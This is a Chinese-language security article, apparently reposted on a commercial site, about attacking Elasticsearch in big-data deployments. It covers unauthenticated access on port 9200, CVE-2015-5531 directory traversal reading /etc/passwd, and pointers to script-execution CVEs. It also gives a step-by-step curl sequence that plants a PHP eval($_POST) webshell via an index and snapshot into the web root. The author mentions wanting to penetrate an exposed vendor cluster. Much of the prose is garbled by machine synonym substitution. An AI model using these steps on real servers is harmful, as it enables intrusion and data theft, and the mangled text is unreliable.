|
|
|
联系客服020-83701501

攻击大数据应用(一)

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
袭击大数据垄断(一)

0x01序言

跟着大数据时代的到来,愈来愈多的大数据技术已渐渐被垄断于理论临盆,但作为一个安全人员,咱们关注点必定和安全关连,那大数据状况中面临的安全标题问题又有 哪些呢?翻了翻这方面的案例,乌云上已有许多同窗发了些这关连的标题问题,但我缔造却没有比较系统的一个收拾整顿,这里我做一个paper,收拾整顿下这方面的漏洞类 型和笔者人人所见到过的一些标题问题,做一个探酣畅的总结,盼望能与各位相互变动以开阔更多思路。

0x02大数据技术介绍

这里先对大数据的一些技术做一个冗杂的观念介绍,来接济一些不太理解这方面的朋友,能有个大抵的观念。

1

Hadoop:分布式系统根蒂底子架构,首要由HDFS和MapReduce兼顾数形成。HDFS(分布式文件存储系统)用于将一个量级远大的数据存储在多台 设备上,并有一定的机制包管其完整和容灾,MapReduce则是通过冗杂的Mapper和Reducer的抽象提供一个编程模型,梗概在一个由几十台上 百台的PC形成的不牢靠集群上并发地,分布式地处理大量的数据集。

Apache Saprk:新一代的大数据处理引擎,提供分布式内存抽象,以反对工作集的垄断。

Hive:基于HDFS的仓储型数据仓库,数据全数存储在文件系统中。

Zookeeper:ZooKeeper是一个雕残源码的分布式垄断步骤协调停事,提供的坚守包含:配置关心、名字处事、分布式同步、组处事等。

NoSQL数据库:包含人人常见的redis、mongodb、memcache、hbase、Neo4j等,首要等于非关连型数据库。

ELK:Elasticsearch+logstash+kibana,一套开源的日记收集与分析平台。

由于大数据所波及的范围过度弘大,垄断数不堪数,关连技术更是浩大如海,笔者也是踏足大数据圈子不久,理解无限,短暂就例举上面这些,如各位另有卓识盼望能给出建议。

0x03 Elasticsearch漏洞

上面简要说道,ELK是一套开源日记收集与分析平台(Elasticsearch+logstash+kibana),其中ElasticSearch是 一个基于Lucene的搜索处事器。它提供了一个分布式多用户威力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache答应条款下的雕残源码发布,是之后风行的企业级搜索引擎。操持用于云较量争论 中,可能达到及时搜索,不乱,牢靠,快速,布置使用恣意,本篇咱们就重点索求一下Elasticsearch具有的一些安全标题问题。

一、未授权会面

未授权会面梗概或许是elasticsearch目前具有的最为事多的一个安全标题问题了,至关多的企业将其直接安置于公网,且未作任何会面限定,招致袭击者可直 接会面到许多内部动态,前段岁月笔者缔造国内某大型云厂商就将其安全产品日记集群裸奔于公网,本想借机渗透,后果被缔造招致未能遂愿,由此切实也回响出一 个标题问题,即大数据垄断安全面前目今当今还未受到欠缺的重视,像上诉的大型厂商都具有此标题问题,更别说另外厂家了,那末,elasticsearch的未授权会面梗概或许 是什么容貌呢?

以下图所示,elasticsearch的默认雕残端口是9200,我在本地搭建了一个状况,直接会面成果梗概或许以下图:

2

从图中咱们梗概看到ela的版本号、成立日期、lucene版本等动态,不过这有什么软用吗?并没有,这里,咱们就需要了解一下elasticsearch的一些基础底细常识了,附上一份中文翻译的《Elasticsearch权势巨子指南》http://es.xiaoleilu.com/index.html。

Elasticsearch一致于保守数据库的存储要领,它是通过节点、索引、分片、原本等要领对数据终止区别存储,其它,它也拥有雄厚的插件库,来便于咱们可视化的操纵数据。这里以head插件为例,个体会面蹊径为http://localhost:9200/_plugin/head

3

这个插件很恣意的默示了Elasticsearch的一些坚守和参数

4

右上角的动态梗概看到许多Elasticsearch的之后形态动态,看字面意义梗概或许就能理解是什么器材了,除此之外,还梗概对这些索引终止增删查改

5

只管,比较要害的是咱们梗概看到集群中的部分数据和字段花样等动态,Elasticsearch多被用于存储日记,个体会泄漏一些包含物理蹊径,靠山地 址,数据包帐号暗码,ip地点等,这对咱们后续渗透是至关有接济的,只管,另有许多企业直接将用户动态完全存储在Elasticsearch中的,这种危 害就更不必说了,我这里附上一张理论渗透中遇到的状况。

6

这是某网贷平台的日记集群,分明可见的处事器典范榜样、web物理蹊径、用户的会面记载、IP、另有会面设备、阅读器等动态由于字段太多未完全默示出来,并且个体专程使用这种日记集群的企业局限较大,数据量时时会呈现百万致使万万级。

那末,如果没有这个head插件是不是就没法子终止这些操纵了呢?明了是不可能的,Elasticsearch通过发送数据包的要领便可完成head插件 中的部门坚守,举个例子,好比咱们想要添加一个名为dept的索引,这个索引含有employee这个典范榜样,该典范榜样中id为32的这条数据含有一个字段, 字段名为empname,值为emp32。咱们只需要发送这么一段苦求便可完成削减:

Default
1 curl -XPUT 'http://localhost:9200/dept/employee/32' -d '{ "empname": "emp32"}'

同样,如果咱们想查看这条数据,只需要会面

http://localhost:9200/dept/employee/32

这是一个冗杂的例子,关连操纵都可用类似的苦求完成,只管,我这里只是举了head一个插件,Elasticsearch的插件库实际上是至关雄厚的,好比如果布置了_river插件就能直接看到数据库的连贯配置动态。

7

咱们通过shodan看一下全球对外雕残的Elasticsearch有多少。

8

Shodan显露统计梗概或许有28w多的主机雕残了9200端口,而这个端口另外处事垄断的是至关少的,抛去一些可能的影响身分,估计全球有梗概或许20w摆布的Elasticsearch处事未授权会面状况。

二、目录遍历

这个漏洞的漏洞编号为CVE-2015-5531,是旧年暴发出来的一个列目录漏洞,咱们看看漏洞描绘:

9

该标题问题的构成缘故起因在于Elasticsearch未对备份快照的典范榜样做果断,招致袭击者梗概构造恶意文件名构成目录遍历,影响1.0-1.6版本。

该漏洞的操纵要领:

(1)新建一个数据仓库test

Default
1234567 curl -XPUT http://127.0.0.1:9200/_snapshot/test -d '{"type": "fs","settings": {"location": "/tmp/test"}} '

(2)新建另外一个数据仓库test2,该仓库的指向地位为目录snapshot-backdata,但Elasticsearch的快照备份文件花样等于snapshot-xxx的花样。

Default
1234567 curl -XPUT http://127.0.0.1:9200/_snapshot/test2 -d '{"type": "fs","settings": {"location": "/tmp/test/snapshot-backdata"}} '

(3)但理论上这样就招致了snapshot-backdata被当作了test仓库的备份快照,Elasticsearch缔造其是目录的时分,就会继 续读取目录中的形式,此时咱们构造../../../../../etc/passwd这样的恶意文件名就梗概使Elasticsearch递归读取文件 形式,从而构成目录遍历,head插件中复合究诘也可弥留实现这些坚守。

10

Freebuf有加倍具体的分析(含POC):http://www.freebuf.com/vuls/99942.html

三、敕令实行

Elasticsearch暴发过几起代码实行漏洞案例,好比前年的CVE-2014-3120,旧年比较出名的CVE-2015-1427,二者凡是利 用了其搜索坚守对脚本语法的反对构成的敕令实行。关于CVE-2015-1427乌云常识库对该漏洞有比较具体的分析。

1112

这里冗杂说一下,暴发了CVE-2014-3120之后,Elasticsearch对搜索的脚本说话反对从MVEL换成了Groovy,还参与了沙盒, 但由于沙盒过滤不严,招致了绕过从而实行敕令,情理不难,绕过就挺费心理了,这里贴上lupin的分析链接,很棒,人人人人去看吧

13

http://drops.wooyun.org/papers/5107

四、Getshell

这个getshell很居心理,目前中文分析只在园长的博客里有看到,理当是园长的0day?该标题问题曾经在1.6版本之后被修复。

该方法的操纵梗概或许经历以下几个程序:

(一) 成立恶意索引,属性中征求木马

Default
1234 curl -XPOST http://localhost:9200/test.php/test.php/1 -d'{"<?php eval($_POST[chr(97)]);?>":"test"}'

(二) 成立文件仓储

Default
1 curl -XDELETE http://localhost:9200/_snapshot/test.php

(三)将仓储备份文件目录指向web垄断目录

Default
1234567 curl -XPUT 'http://localhost:9200/_snapshot/test.php' -d '{"type": "fs","settings": {"location": "/data/httpd/htdocs/default","compress": false}}'

(四) 为仓储目录引入成立好的含有木马的索引快照

Default
12345 curl -XPUT "http://localhost:9200/_snapshot/test.php/test.php" -d '{"indices": "test.php","ignore_unavailable": "true","include_global_state": false}'

具体分析:http://javaweb.org/?p=1779

0x04结束语

本文首要介绍了Elasticsearch的四种袭击要领,但这些漏洞除了非授权会面基础底细上都已被修复,大数据安全对许多安全研究者来说仍是个比较陌生的 范围,因而爆出的漏洞也还相较量照少,人人对大数据垄断的安全重视程度也还比较低,不过跟着其渐渐的倒退,置信会有更多的从业者投身到该范围的研究中来。

参考文章

http://javaweb.org/?p=1779

http://javaweb.org/?p=1733

http://www.freebuf.com/vuls/68075.html

http://drops.wooyun.org/papers/5107

【via@91Ri.ORG团队-Stardustsky】本文系原创文,转载请阐明因由。

数安新闻+更多

证书相关+更多